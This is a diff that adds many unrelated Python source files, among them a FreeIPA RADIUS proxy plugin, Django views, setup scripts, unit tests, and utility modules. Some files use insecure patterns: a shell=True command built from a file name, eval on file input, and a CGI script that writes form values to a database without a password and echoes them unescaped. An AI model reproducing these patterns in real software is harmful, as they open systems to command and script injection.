'COPYING' for use and warranty information +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from .baseldap import ( + LDAPObject, + LDAPCreate, + LDAPDelete, + LDAPUpdate, + LDAPSearch, + LDAPRetrieve) +from ipalib import api, Str, Int, Password, _, ngettext +from ipalib import errors +from ipalib.plugable import Registry +from ipalib.util import validate_hostname, validate_ipaddr +from ipalib.errors import ValidationError +import re + +__doc__ = _(""" +RADIUS Proxy Servers +""") + _(""" +Manage RADIUS Proxy Servers. +""") + _(""" +IPA supports the use of an external RADIUS proxy server for krb5 OTP +authentications. This permits a great deal of flexibility when +integrating with third-party authentication services. +""") + _(""" +EXAMPLES: +""") + _(""" + Add a new server: + ipa radiusproxy-add MyRADIUS --server=radius.example.com:1812 +""") + _(""" + Find all servers whose entries include the string "example.com": + ipa radiusproxy-find example.com +""") + _(""" + Examine the configuration: + ipa radiusproxy-show MyRADIUS +""") + _(""" + Change the secret: + ipa radiusproxy-mod MyRADIUS --secret +""") + _(""" + Delete a configuration: + ipa radiusproxy-del MyRADIUS +""") + +register = Registry() + +LDAP_ATTRIBUTE = re.compile("^[a-zA-Z][a-zA-Z0-9-]*$") +def validate_attributename(ugettext, attr): + if not LDAP_ATTRIBUTE.match(attr): + raise ValidationError(name="ipatokenusermapattribute", + error=_('invalid attribute name')) + +def validate_radiusserver(ugettext, server): + split = server.rsplit(':', 1) + server = split[0] + if len(split) == 2: + try: + port = int(split[1]) + if (port < 0 or port > 65535): + raise ValueError() + except ValueError: + raise ValidationError(name="ipatokenradiusserver", + error=_('invalid port number')) + + if validate_ipaddr(server): + return + + try: + validate_hostname(server, check_fqdn=True, allow_underscore=True) + except ValueError as e: + raise errors.ValidationError(name="ipatokenradiusserver", + error=str(e)) + + +@register() +class radiusproxy(LDAPObject): + """ + RADIUS Server object. + """ + container_dn = api.env.container_radiusproxy + object_name = _('RADIUS proxy server') + object_name_plural = _('RADIUS proxy servers') + object_class = ['ipatokenradiusconfiguration'] + default_attributes = ['cn', 'description', 'ipatokenradiusserver', + 'ipatokenradiustimeout', 'ipatokenradiusretries', 'ipatokenusermapattribute' + ] + search_attributes = ['cn', 'description', 'ipatokenradiusserver'] + rdn_is_primary_key = True + label = _('RADIUS Servers') + label_singular = _('RADIUS Server') + + takes_params = ( + Str('cn', + cli_name='name', + label=_('RADIUS proxy server name'), + primary_key=True, + ), + Str('description?', + cli_name='desc', + label=_('Description'), + doc=_('A description of this RADIUS proxy server'), + ), + Str('ipatokenradiusserver+', validate_radiusserver, + cli_name='server', + label=_('Server'), + doc=_('The hostname or IP (with or without port)'), + ), + Password('ipatokenradiussecret', + cli_name='secret', + label=_('Secret'), + doc=_('The secret used to encrypt data'), + confirm=True, + ), + Int('ipatokenradiustimeout?', + cli_name='timeout', + label=_('Timeout'), + doc=_('The total timeout across all retries (in seconds)'), + minvalue=1, + ), + Int('ipatokenradiusretries?', + cli_name='retries', + label=_('Retries'), + doc=_('The number of times to retry authentication'), + minvalue=0, + maxvalue=10, + ), + Str('ipatokenusermapattribute?', validate_attributename, + cli_name='userattr', + label=_('User attribute'), + doc=_('The username attribute on the user object'), + ), + ) + +@register() +class radiusproxy_add(LDAPCreate): + __doc__ = _('Add a new RADIUS proxy server.') + msg_summary = _('Added RADIUS proxy server "%(value)s"') + +@register() +class radiusproxy_del(LDAPDelete): + __doc__ = _('Delete a RADIUS proxy server.') + msg_summary = _('Deleted RADIUS proxy server "%(value)s"') + +@register() +class radiusproxy_mod(LDAPUpdate): + __doc__ = _('Modify a RADIUS proxy server.') + msg_summary = _('Modified RADIUS proxy server "%(value)s"') + +@register() +class radiusproxy_find(LDAPSearch): + __doc__ = _('Search for RADIUS proxy servers.') + msg_summary = ngettext( + '%(count)d RADIUS proxy server matched', '%(count)d RADIUS proxy servers matched', 0 + ) + + def get_options(self): + for option in super(radiusproxy_find, self).get_options(): + if option.name == 'ipatokenradiussecret': + option = option.clone(flags={'no_option'}) + + yield option + + +@register() +class radiusproxy_show(LDAPRetrieve): + __doc__ = _('Display information about a RADIUS proxy server.') diff --git a/pool/shard008/Python/0076072_programcontentrating.py b/pool/shard008/Python/0076072_programcontentrating.py new file mode 100644 index 0000000000000000000000000000000000000000..0bfb85648f948803dbe8581164e9eff4818ed4b1 --- /dev/null +++ b/pool/shard008/Python/0076072_programcontentrating.py @@ -0,0 +1,48 @@ +import logging + + +class ProgramContentRating(object): + def __init__(self): + self.body = None # type: unicode + + self.code = None # type: unicode + + self.country = None # type: unicode + + def __unicode__(self): # type: () -> unicode + return u"{0.body}: {0.code}".format(self) + + def __str__(self): + return unicode(self).encode("utf-8") + + @classmethod + def from_iterable(cls, iterable): # type: Iterable[dict] -> List[ProgramContentRating] + """ + + :param iterable: + :return: + """ + return [cls.from_dict(content_rating) for content_rating in iterable] + + @classmethod + def from_dict(cls, dct): # type: (dict) -> ProgramContentRating + """ + + :param dct: + :return: + """ + program_content_rating = cls() + + if "body" in dct: + program_content_rating.body = dct.pop("body") + + if "code" in dct: + program_content_rating.code = dct.pop("code") + + if "country" in dct: + program_content_rating.country = dct.pop("country") + + if len(dct) != 0: + logging.warn("Key(s) not processed for ProgramContentRating: %s", ", ".join(dct.keys())) + + return program_content_rating diff --git a/pool/shard008/Python/0076073_views.py b/pool/shard008/Python/0076073_views.py new file mode 100644 index 0000000000000000000000000000000000000000..685ab132587a3f9566c765b8d1018ad753b14462 --- /dev/null +++ b/pool/shard008/Python/0076073_views.py @@ -0,0 +1,27 @@ +from django.shortcuts import render +from .models import Post + + +def list(request): + context = {} + + published_posts = Post.objects.filter(publish=True).order_by("-date_published") + context['posts'] = published_posts + + return render(request, "list.html", context) + +def category(request, c_slug): + context = {} + + published_posts = Post.objects.filter(publish=True, category__slug=c_slug).order_by("-date_published") + context['posts'] = published_posts + + return render(request, "list.html", context) + +def post(request, p_slug): + context = {} + + post = Post.objects.get(slug=p_slug) + context['post'] = post + + return render(request, "single.html", context) diff --git a/pool/shard008/Python/0076074_util_test.py b/pool/shard008/Python/0076074_util_test.py new file mode 100644 index 0000000000000000000000000000000000000000..20d1c290a73f97a1670588c2ab5164555860c66d --- /dev/null +++ b/pool/shard008/Python/0076074_util_test.py @@ -0,0 +1,39 @@ +""" +Tests for pymatgen.db.util +""" +__author__ = "dang" + +import unittest +from pymatgen.db.util import collection_keys + + +class FakeCollection: + """Collection that emulates find_one().""" + + def __init__(self, data): + self.data = data + + def find_one(self): + return self.data + + +class KeysTestCase(unittest.TestCase): + """Test collection_keys.""" + + def test_flat(self): + keys = ["a", "b", "C"] + coll = FakeCollection(dict.fromkeys(keys)) + result = collection_keys(coll) + self.assertEqual(set(keys), set(result)) + + def test_nested(self): + input = {"a": {"b": {"c": 1}}} + coll = FakeCollection(input) + result = collection_keys(coll) + print(f"@@Result: {result}") + keys = ["a", "a.b", "a.b.c"] + self.assertEqual(set(keys), set(result)) + + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard008/Python/0076075_urls.py b/pool/shard008/Python/0076075_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..660fb45f2fc40e06a2b0e65720a2d5f00d102f09 --- /dev/null +++ b/pool/shard008/Python/0076075_urls.py @@ -0,0 +1,15 @@ +from django.conf.urls import patterns, url +from django.views.generic import ListView, DetailView +from models import Analysis +from analysis.views import AnalysisDetailView, search, update, download + +analysis_list = ListView.as_view(model=Analysis) + +urlpatterns = patterns('', + url(r'^$', analysis_list, name='analysis_list'), + url(r'^download/(?P[a-z\d]+)/$', download, name='download'), + url(r'^search', search, name='search'), + url(r'^update', update, name='update'), + url(r'^(?P[a-z\d]+)/$', AnalysisDetailView.as_view(), name='analysis_detail'), + +) diff --git a/pool/shard008/Python/0076078_Vectors.py b/pool/shard008/Python/0076078_Vectors.py new file mode 100644 index 0000000000000000000000000000000000000000..fd0228d69e4a24f030b7e5fff23f25667dcf8696 --- /dev/null +++ b/pool/shard008/Python/0076078_Vectors.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +""" +Vectors +""" +""" + +Copyright 2001 Pearu Peterson all rights reserved, +Pearu Peterson +Permission to use, modify, and distribute this software is given under the +terms of the LGPL. See http://www.fsf.org + +NO WARRANTY IS EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. +$Revision: 1.2 $ +$Date: 2001-05-31 17:48:55 $ +Pearu Peterson +""" + +import DataSetAttr +import common + +class Vectors(DataSetAttr.DataSetAttr): + """Holds VTK Vectors. + Usage: + Vectors( ,name = ) + Attributes: + vectors + name + Public methods: + get_size() + to_string(format = 'ascii') + """ + def __init__(self,vectors,name=None): + self.name = self._get_name(name) + self.vectors = self.get_3_tuple_list(vectors,(self.default_value,)*3) + def to_string(self,format='ascii'): + t = self.get_datatype(self.vectors) + ret = ['VECTORS %s %s'%(self.name,t), + self.seq_to_string(self.vectors,format,t)] + return '\n'.join(ret) + def get_size(self): + return len(self.vectors) + +def vectors_fromfile(f,n,sl): + dataname = sl[0] + datatype = sl[1].lower() + assert datatype in ['bit','unsigned_char','char','unsigned_short','short','unsigned_int','int','unsigned_long','long','float','double'],`datatype` + vectors = [] + while len(vectors) < 3*n: + vectors += map(eval,common._getline(f).split(' ')) + assert len(vectors) == 3*n + return Vectors(vectors,dataname) + +if __name__ == "__main__": + print Vectors([[3,3],[4,3.],240,3,2]).to_string() diff --git a/pool/shard008/Python/0076082_util.py b/pool/shard008/Python/0076082_util.py new file mode 100644 index 0000000000000000000000000000000000000000..43e8242029a920d9a4eb97c8ef15a7a5e0c50a3e --- /dev/null +++ b/pool/shard008/Python/0076082_util.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# +# Copyright (C) 2013 Matt Jeffery +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +import warnings +import logging +import collections + +log = logging.getLogger(__name__) + +class APIRelationship(object): + """ + Define a relationship between to entities + """ + + def __init__(self, related_entity, use_list=True, *args, **kwargs): + """ + Setup the relationship + """ + self.related_entity = related_entity + self.use_list = use_list + self._parent = None + + def copy(self): + relation = APIRelationship(self.related_entity) + relation._parent = self._parent + return relation + + @property + def parent(self): + if self._parent is None: + raise RuntimeError("parent must be set, has the class been setup correctly?") + else: + return self._parent + + @parent.setter + def parent(self, parent): + self._parent = parent + + @property + def related_entity_name(self): + return "_"+(self.related_entity.__apiclass_plural__ if self.use_list else self.related_entity.__apiclass__) + + def __call__(self): + """ + Return the related entities from the API + """ + relation_attr = self.related_entity_name + if not hasattr(self.parent, relation_attr) or getattr(self.parent, relation_attr) is None: + path = "{cls}/{id}/{rel_cls}/".format(cls=self.parent.clsname, + id=self.parent.id, + rel_cls=self.related_entity.__apiclass__) + reply = self.parent.session.request(path) + + if self.use_list: + if isinstance(reply, collections.Iterable): + setattr(self.parent, relation_attr, reply) + else: + # for the relationship in to a list + setattr(self.parent, relation_attr, [reply]) + else: + if isinstance(reply, collections.Iterable): + # force the relationship out of a list and raise a warning + warnings.warn("relationship was not expecting a list result, perhaps this is no a 1:1 relationship", stacklevel=2) + setattr(self.parent, relation_attr, reply[0] if len(reply) > 0 else None) + else: + setattr(self.parent, relation_attr, reply) + + return getattr(self.parent, relation_attr) + diff --git a/pool/shard008/Python/0076085_slicer.py b/pool/shard008/Python/0076085_slicer.py new file mode 100644 index 0000000000000000000000000000000000000000..3952f9741dbd69f704e2af76ca7e775749229db4 --- /dev/null +++ b/pool/shard008/Python/0076085_slicer.py @@ -0,0 +1,48 @@ +import subprocess +import re +import os +import configparser +from lib.utils import loadYaml, loadFromFile, getPath +from config import PATH, CONFIG, OS + +printTimeRegex = r'Print time: (\d*)' +filamentRegex = r'Filament: (\d*)' + + +def runSlicerCommand(stlPath, resultGcodePath, settings): + command = '{curaExecutable} slice -v -j {definitionPath} {settings} -o {resultGcodePath}.gcode -l {stlPath}'\ + .format( + curaExecutable=CONFIG['slicer']['executable'], + definitionPath=CONFIG['slicer']['printer-definition'], + stlPath=stlPath, + resultGcodePath=resultGcodePath, + settings=settings + ) + command = command.replace('\n', '') + launchedCommand = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell= (OS == 'linux')) + _, output = launchedCommand.communicate() + output = output.decode(CONFIG['terminal-encoding']) + return output, None + + +def slice(stlFileName, profilePath=None): + stlPath = os.path.join(PATH, CONFIG['stl-upload-directory'], stlFileName) + resultGcodePath = os.path.join(PATH, CONFIG['gcode-directory'], stlFileName) + # settings = generateSettings(CONFIG['slicer']['profiles']['draft']) + settings = loadFromFile(os.path.join(CONFIG['settings-directory'], CONFIG['slicer']['settings']['low'])) + if not os.path.isfile(stlPath): + return None, 'STL at {} does not exist'.format(stlPath) + result, err = runSlicerCommand(stlPath, resultGcodePath, settings) + return { + 'printTime': int(re.findall(printTimeRegex, result)[0]), + 'filament': int(re.findall(filamentRegex, result)[0]),}, err + + +def generateSettings(path): + profile = configparser.ConfigParser() + profile.read_string(loadFromFile(path)) + settings = [] + if 'values' in profile.sections(): + for option in profile.options('values'): + settings.append('-s {0}="{1}"'.format(option, profile['values'][option])) + return ' '.join(settings) diff --git a/pool/shard008/Python/0076088_setup.py b/pool/shard008/Python/0076088_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..75fdf2d804b23a629fc80a56bb4ce87c44506eb3 --- /dev/null +++ b/pool/shard008/Python/0076088_setup.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +from __future__ import absolute_import, division, print_function + +from io import open + +from os.path import abspath, dirname, join + +from setuptools import setup + +PROJECT_ROOT = abspath(dirname(__file__)) +with open(join(PROJECT_ROOT, 'README.rst'), encoding='utf-8') as f: + readme = f.read() + +version = ( + [l for l in open(join(PROJECT_ROOT, 'zeroconf.py')) if '__version__' in l][0] + .split('=')[-1] + .strip().strip('\'"') +) + +setup( + name='zeroconf', + version=version, + description='Pure Python Multicast DNS Service Discovery Library ' + '(Bonjour/Avahi compatible)', + long_description=readme, + author='Paul Scott-Murphy, William McBrine, Jakub Stasiak', + url='https://github.com/jstasiak/python-zeroconf', + py_modules=['zeroconf'], + platforms=['unix', 'linux', 'osx'], + license='LGPL', + zip_safe=False, + classifiers=[ + 'Development Status :: 3 - Alpha', + 'Intended Audience :: Developers', + 'Intended Audience :: System Administrators', + 'License :: OSI Approved :: GNU Lesser General Public License v2 (LGPLv2)', + 'Operating System :: POSIX', + 'Operating System :: POSIX :: Linux', + 'Operating System :: MacOS :: MacOS X', + 'Topic :: Software Development :: Libraries', + 'Programming Language :: Python', + 'Programming Language :: Python :: 2', + 'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.3', + 'Programming Language :: Python :: 3.4', + 'Programming Language :: Python :: Implementation :: CPython', + 'Programming Language :: Python :: Implementation :: PyPy', + ], + keywords=[ + 'Bonjour', 'Avahi', 'Zeroconf', 'Multicast DNS', 'Service Discovery', + 'mDNS', + ], + install_requires=[ + 'enum-compat', + 'netifaces', + 'six', + ], +) diff --git a/pool/shard008/Python/0076094_setup.py b/pool/shard008/Python/0076094_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..265a64e7c82a321aaf10d7b78134c1324a974f92 --- /dev/null +++ b/pool/shard008/Python/0076094_setup.py @@ -0,0 +1,35 @@ +from setuptools import setup, find_packages + +version = '0.1.9' + +with open('README.rst', 'r') as f: + long_desc = f.read() +with open('HISTORY.rst') as f: + long_desc += '\n\n' + f.read() + +setup(name='pyinter', + version=version, + description="An interval package for Python.", + long_description=long_desc, + # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers + classifiers=['Development Status :: 3 - Alpha', + 'License :: OSI Approved :: MIT License'], + keywords='interval range discontinuous-range union intersection', + author='Inti Ocean', + author_email='me@inti.co', + url='https://github.com/intiocean/pyinter', + license='MIT', + packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), + include_package_data=True, + zip_safe=True, + install_requires=[ + # -*- Extra requirements: -*- + ], + tests_require=[ + 'pytest', + 'pytest-cov', + ], + entry_points=""" + # -*- Entry points: -*- + """, + ) diff --git a/pool/shard008/Python/0076095_test_save.py b/pool/shard008/Python/0076095_test_save.py new file mode 100644 index 0000000000000000000000000000000000000000..6f6f136e6e18cb59a185c54418221aab37c9aa58 --- /dev/null +++ b/pool/shard008/Python/0076095_test_save.py @@ -0,0 +1,53 @@ +import pytest +import mock +from mock import call +import pendulum + +from django.utils import timezone + +from fit4school.core.models import Tracker, Program, School, Student, Classroom + + +TZ = pendulum.timezone(timezone.get_current_timezone_name()) + + +@pytest.mark.django_db +@mock.patch("fit4school.core.models.notify_tracker_changes") +@mock.patch("fit4school.core.models.timezone.now") +def test_save_notify(time_now, notify): + + fake_now = TZ.convert(timezone.datetime(2018, 2, 4, 23, 9, 37, 122)) + time_now.return_value = fake_now + + # Creates a tracker object and then set the MAC address + # Test that notify is called + program = Program.objects.create(name='program') + school = School.objects.create(name='school', program=program) + classroom = Classroom.objects.create(name='classroom', school=school, teacher='teacher') + student = Student.objects.create(name='student', classroom=classroom) + tracker = Tracker.objects.create(tracker_id=10, program=program) + + mac_addr = "ABCD" + + # set the mac + tracker.mac = mac_addr + tracker.save() + + # add a student + student.add_tracker(tracker.tracker_id) + + assert notify.delay.call_args_list == [ + call({ + 'battery_status': (None, 'U'), + 'program': (None, program), + 'tracker_count': (None, 0), + '_student': '', + '_tracker_id': 10 + }), + call({'mac': (None, mac_addr), '_student': '', '_tracker_id': 10}), + call({ + 'date_assigned': (None, fake_now), + '_student': 'classroom - teacher - school - student', + '_tracker_id': 10 + }) + ] diff --git a/pool/shard008/Python/0076099_reporter.py b/pool/shard008/Python/0076099_reporter.py new file mode 100644 index 0000000000000000000000000000000000000000..147928e3c02918a129dc7a6e77e01c7ee8db1286 --- /dev/null +++ b/pool/shard008/Python/0076099_reporter.py @@ -0,0 +1,99 @@ +"""Collects and displays information to the user.""" +from __future__ import print_function + +import collections +import logging +import os +import sys +import textwrap + +from six.moves import queue # pylint: disable=import-error +import zope.interface + +from letsencrypt import interfaces +from letsencrypt import le_util + + +logger = logging.getLogger(__name__) + + +@zope.interface.implementer(interfaces.IReporter) +class Reporter(object): + """Collects and displays information to the user. + + :ivar `queue.PriorityQueue` messages: Messages to be displayed to + the user. + + """ + + HIGH_PRIORITY = 0 + """High priority constant. See `add_message`.""" + MEDIUM_PRIORITY = 1 + """Medium priority constant. See `add_message`.""" + LOW_PRIORITY = 2 + """Low priority constant. See `add_message`.""" + + _msg_type = collections.namedtuple('ReporterMsg', 'priority text on_crash') + + def __init__(self): + self.messages = queue.PriorityQueue() + + def add_message(self, msg, priority, on_crash=True): + """Adds msg to the list of messages to be printed. + + :param str msg: Message to be displayed to the user. + + :param int priority: One of `HIGH_PRIORITY`, `MEDIUM_PRIORITY`, + or `LOW_PRIORITY`. + + :param bool on_crash: Whether or not the message should be + printed if the program exits abnormally. + + """ + assert self.HIGH_PRIORITY <= priority <= self.LOW_PRIORITY + self.messages.put(self._msg_type(priority, msg, on_crash)) + logger.info("Reporting to user: %s", msg) + + def atexit_print_messages(self, pid=os.getpid()): + """Function to be registered with atexit to print messages. + + :param int pid: Process ID + + """ + # This ensures that messages are only printed from the process that + # created the Reporter. + if pid == os.getpid(): + self.print_messages() + + def print_messages(self): + """Prints messages to the user and clears the message queue. + + If there is an unhandled exception, only messages for which + ``on_crash`` is ``True`` are printed. + + """ + bold_on = False + if not self.messages.empty(): + no_exception = sys.exc_info()[0] is None + bold_on = sys.stdout.isatty() + if bold_on: + print(le_util.ANSI_SGR_BOLD) + print('IMPORTANT NOTES:') + first_wrapper = textwrap.TextWrapper( + initial_indent=' - ', subsequent_indent=(' ' * 3)) + next_wrapper = textwrap.TextWrapper( + initial_indent=first_wrapper.subsequent_indent, + subsequent_indent=first_wrapper.subsequent_indent) + while not self.messages.empty(): + msg = self.messages.get() + if no_exception or msg.on_crash: + if bold_on and msg.priority > self.HIGH_PRIORITY: + sys.stdout.write(le_util.ANSI_SGR_RESET) + bold_on = False + lines = msg.text.splitlines() + print(first_wrapper.fill(lines[0])) + if len(lines) > 1: + print("\n".join( + next_wrapper.fill(line) for line in lines[1:])) + if bold_on: + sys.stdout.write(le_util.ANSI_SGR_RESET) diff --git a/pool/shard008/Python/0076100_utils.py b/pool/shard008/Python/0076100_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..3002cb8b6e405db2a5ddb709cbac9baf1f596edc --- /dev/null +++ b/pool/shard008/Python/0076100_utils.py @@ -0,0 +1,280 @@ +# Landsat Util +# License: CC0 1.0 Universal + +import os +import sys +import time +import re +from cStringIO import StringIO +from datetime import datetime + +from mixins import VerbosityMixin + + +class Capturing(list): + """ + Captures a subprocess stdout. + + :Usage: + >>> with Capturing(): + ... subprocess(args) + """ + def __enter__(self): + self._stdout = sys.stdout + sys.stdout = self._stringio = StringIO() + return self + + def __exit__(self, *args): + self.extend(self._stringio.getvalue().splitlines()) + sys.stdout = self._stdout + + +class timer(object): + """ + A timer class. + + :Usage: + >>> with timer(): + ... your code + """ + def __enter__(self): + self.start = time.time() + + def __exit__(self, type, value, traceback): + self.end = time.time() + print 'Time spent : {0:.2f} seconds'.format((self.end - self.start)) + + +def exit(message, code=0): + """ output a message to stdout and terminates the process. + + :param message: + Message to be outputed. + :type message: + String + :param code: + The termination code. Default is 0 + :type code: + int + + :returns: + void + """ + + v = VerbosityMixin() + if code == 0: + v.output(message, normal=True, arrow=True) + v.output('Done!', normal=True, arrow=True) + else: + v.output(message, normal=True, error=True) + sys.exit(code) + + +def create_paired_list(value): + """ Create a list of paired items from a string. + + :param value: + the format must be 003,003,004,004 (commas with no space) + :type value: + String + + :returns: + List + + :example: + >>> create_paired_list('003,003,004,004') + [['003','003'], ['004', '004']] + + """ + + if isinstance(value, list): + value = ",".join(value) + + array = re.split('\D+', value) + + # Make sure the elements in the list are even and pairable + if len(array) % 2 == 0: + new_array = [list(array[i:i + 2]) for i in range(0, len(array), 2)] + return new_array + else: + raise ValueError('The string should include pairs and be formated. ' + 'The format must be 003,003,004,004 (commas with ' + 'no space)') + + +def check_create_folder(folder_path): + """ Check whether a folder exists, if not the folder is created. + + :param folder_path: + Path to the folder + :type folder_path: + String + + :returns: + (String) the path to the folder + """ + if not os.path.exists(folder_path): + os.makedirs(folder_path) + + return folder_path + + +def get_file(path): + """ Separate the name of the file or folder from the path and return it. + + :param path: + Path to the folder + :type path: + String + + :returns: + (String) the filename + + :example: + >>> get_file('/path/to/file.jpg') + 'file.jpg' + """ + return os.path.basename(path) + + +def get_filename(path): + """ Return the filename without extension. + + :param path: + Path to the folder + :type path: + String + + :returns: + (String) the filename without extension + + :example: + >>> get_filename('/path/to/file.jpg') + 'file' + """ + return os.path.splitext(get_file(path))[0] + + +def three_digit(number): + """ Add 0s to inputs that their length is less than 3. + + :param number: + The number to convert + :type number: + int + + :returns: + String + + :example: + >>> three_digit(1) + '001' + """ + number = str(number) + if len(number) == 1: + return u'00%s' % number + elif len(number) == 2: + return u'0%s' % number + else: + return number + + +def georgian_day(date): + """ Returns the number of days passed since the start of the year. + + :param date: + The string date with this format %m/%d/%Y + :type date: + String + + :returns: + int + + :example: + >>> georgian_day('05/1/2015') + 121 + """ + try: + fmt = '%m/%d/%Y' + return datetime.strptime(date, fmt).timetuple().tm_yday + except (ValueError, TypeError): + return 0 + + +def year(date): + """ Returns the year. + + :param date: + The string date with this format %m/%d/%Y + :type date: + String + + :returns: + int + + :example: + >>> year('05/1/2015') + 2015 + """ + try: + fmt = '%m/%d/%Y' + return datetime.strptime(date, fmt).timetuple().tm_year + except ValueError: + return 0 + + +def reformat_date(date, new_fmt='%Y-%m-%d'): + """ Returns reformated date. + + :param date: + The string date with this format %m/%d/%Y + :type date: + String + :param new_fmt: + date format string. Default is '%Y-%m-%d' + :type date: + String + + :returns: + int + + :example: + >>> reformat_date('05/1/2015', '%d/%m/%Y') + '1/05/2015' + """ + try: + if isinstance(date, datetime): + return date.strftime(new_fmt) + else: + fmt = '%m/%d/%Y' + return datetime.strptime(date, fmt).strftime(new_fmt) + except ValueError: + return date + + +def convert_to_integer_list(value): + """ Converts a comma separate string to a list + + :param value: + the format must be 003,003,004,004 (commas with no space) + :type value: + String + + :returns: + List + + :example: + >>> convert_to_integer_list('003,003,004,004') + ['003', '003', '004', '004'] + + """ + if isinstance(value, list) or value is None: + return value + else: + s = re.findall('(10|11|QA|[0-9])', value) + for k, v in enumerate(s): + try: + s[k] = int(v) + except ValueError: + pass + return s diff --git a/pool/shard008/Python/0076101_DatePickerMediator.py b/pool/shard008/Python/0076101_DatePickerMediator.py new file mode 100644 index 0000000000000000000000000000000000000000..500798db930b5a117a96da27af98145c0bd910b6 --- /dev/null +++ b/pool/shard008/Python/0076101_DatePickerMediator.py @@ -0,0 +1,31 @@ + +# vim: set ts=4 sw=4 expandtab: + +from puremvc.patterns.mediator import Mediator + +from libtimesheet.ApplicationConstants import Notification + +from pyjamas.Window import alert + +class DatePickerMediator(Mediator): + + NAME = 'DatePickerMediator' + + def __init__(self, viewComponent): + Mediator.__init__(self, DatePickerMediator.NAME, viewComponent) + viewComponent.prevDayBtn.addClickListener(self.displayDay) + viewComponent.nextDayBtn.addClickListener(self.displayDay) + viewComponent.prevWeekBtn.addClickListener(self.displayDay) + viewComponent.nextWeekBtn.addClickListener(self.displayDay) + self.displayDay() + + def listNotificationInterests(self): + return [] + + def handleNotification(self, note): + pass + + def displayDay(self, sender=None): + self.viewComponent.displayDay() + self.sendNotification(Notification.DATE_SELECTED, + self.viewComponent.date) diff --git a/pool/shard008/Python/0076109_test_FrequencyTransformer.py b/pool/shard008/Python/0076109_test_FrequencyTransformer.py new file mode 100644 index 0000000000000000000000000000000000000000..af6a0b0f137cfa4294687634899ffd2a440605a4 --- /dev/null +++ b/pool/shard008/Python/0076109_test_FrequencyTransformer.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python +__author__ = 'ilkin safarli' + +import unittest +from FrequencyTransformer import * +from sklearn.feature_extraction.text import CountVectorizer + +count_vect = CountVectorizer() +counts = count_vect.fit_transform(["hello world"]) + + +class TestFrequencyTransformer(unittest.TestCase): + + def test_fit(self): + x = FrequencyTransformer(count_vect) + self.assertEqual(x, x.fit()) + + def test_transform(self): + global count_vect + x = FrequencyTransformer(count_vect) + c = sparse.csc_matrix([1, 1]) + boolean = (c-x.transform(counts.toarray())).nnz == 0 + self.assertEqual(boolean, True) + +if __name__ == '__main__': + unittest.main() + diff --git a/pool/shard008/Python/0076113_classes.py b/pool/shard008/Python/0076113_classes.py new file mode 100644 index 0000000000000000000000000000000000000000..87402bab34608e5a50f7a8d6041f87091d45fc36 --- /dev/null +++ b/pool/shard008/Python/0076113_classes.py @@ -0,0 +1,15 @@ +from reactive import _ + +def foo(trace, *args, **kwargs): + print 'Trace: ' + str(trace) + +class A: + pass + +# Create a new reactive <'type' int> object +obj = _(A()) + +obj.onchange(foo, args=(), kwargs={}) + +obj.a = 'B' +obj.a = 'C' \ No newline at end of file diff --git a/pool/shard008/Python/0076114_graph.py b/pool/shard008/Python/0076114_graph.py new file mode 100644 index 0000000000000000000000000000000000000000..607b751b4f4b8312ddc16c9f429292f25a523e5e --- /dev/null +++ b/pool/shard008/Python/0076114_graph.py @@ -0,0 +1,36 @@ +from vertex import Vertex + +# Graph Class that is for collecting all the vertex object +class Graph: + def __init__(self): + self.vertList = {} + self.numVertices = 0 + + def addVertex(self,key): + self.numVertices = self.numVertices + 1 + newVertex = Vertex(key) + self.vertList[key] = newVertex + return newVertex + + def getVertex(self,n): + if n in self.vertList: + return self.vertList[n] + else: + return None + + def __contains__(self,n): + return n in self.vertList + +# connect two nodes + def addEdge(self,baseNode,targetNode,cost=0): + if baseNode not in self.vertList: + self.addVertex(baseNode) + if targetNode not in self.vertList: + self.addVertex(targetNode) + self.vertList[baseNode].addNeighbor(self.vertList[targetNode], cost) + + def getVertices(self): + return self.vertList.keys() + + def __iter__(self): + return iter(self.vertList.values()) diff --git a/pool/shard008/Python/0076115_adminsetmapele.py b/pool/shard008/Python/0076115_adminsetmapele.py new file mode 100644 index 0000000000000000000000000000000000000000..7e628bbc7abc94a4eab80b8366c6cc759b709f69 --- /dev/null +++ b/pool/shard008/Python/0076115_adminsetmapele.py @@ -0,0 +1,14 @@ +#!c:/Python27/python.exe + +import cgi +from db import DbPutWithoutPassword + +print('Content-Type: text/html') +print +form = cgi.FieldStorage() +mapid = form.getvalue('mapid') +ele = form.getvalue('ele') +val = form.getvalue('val') +print '

mapid=+%s+
ele=+%s+
val=+%s+

' % (mapid,ele,val) +DbPutWithoutPassword(mapid,ele,val) +print '

Done

